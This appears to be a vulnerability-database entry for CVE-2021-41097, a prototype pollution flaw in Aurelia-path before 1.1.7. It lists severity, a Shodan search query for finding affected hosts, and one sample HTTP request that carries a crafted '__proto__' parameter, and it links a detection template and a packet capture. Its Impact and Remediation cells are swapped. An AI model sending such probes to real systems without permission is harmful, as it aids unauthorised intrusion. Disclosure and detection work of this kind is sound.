| Title | Aurelia-Path < 1.1.7 - Prototype Pollution |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Update to version 1.1.7 or later. |
| Remediation | Aurelia-path parseQueryString function was found vulnerable to prototype pollution via crafted __proto__ URL parameters. |
| CVSS Score | 7.5 |
| CWE ID | CWE-1321 |
| Shodan Query | http.component:"aurelia" |
| Tags | cve cve2021 aurelia prototype-pollution javascript passive |
Aurelia-path before 1.1.7 contains a prototype pollution caused by parsing malicious URL parameters, letting attackers modify Object.prototype, exploit requires the application to parse user-controlled URLs.
GET /blog/?__proto__[polluted]=polluted HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41097.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-41097.pcap
N/AN/A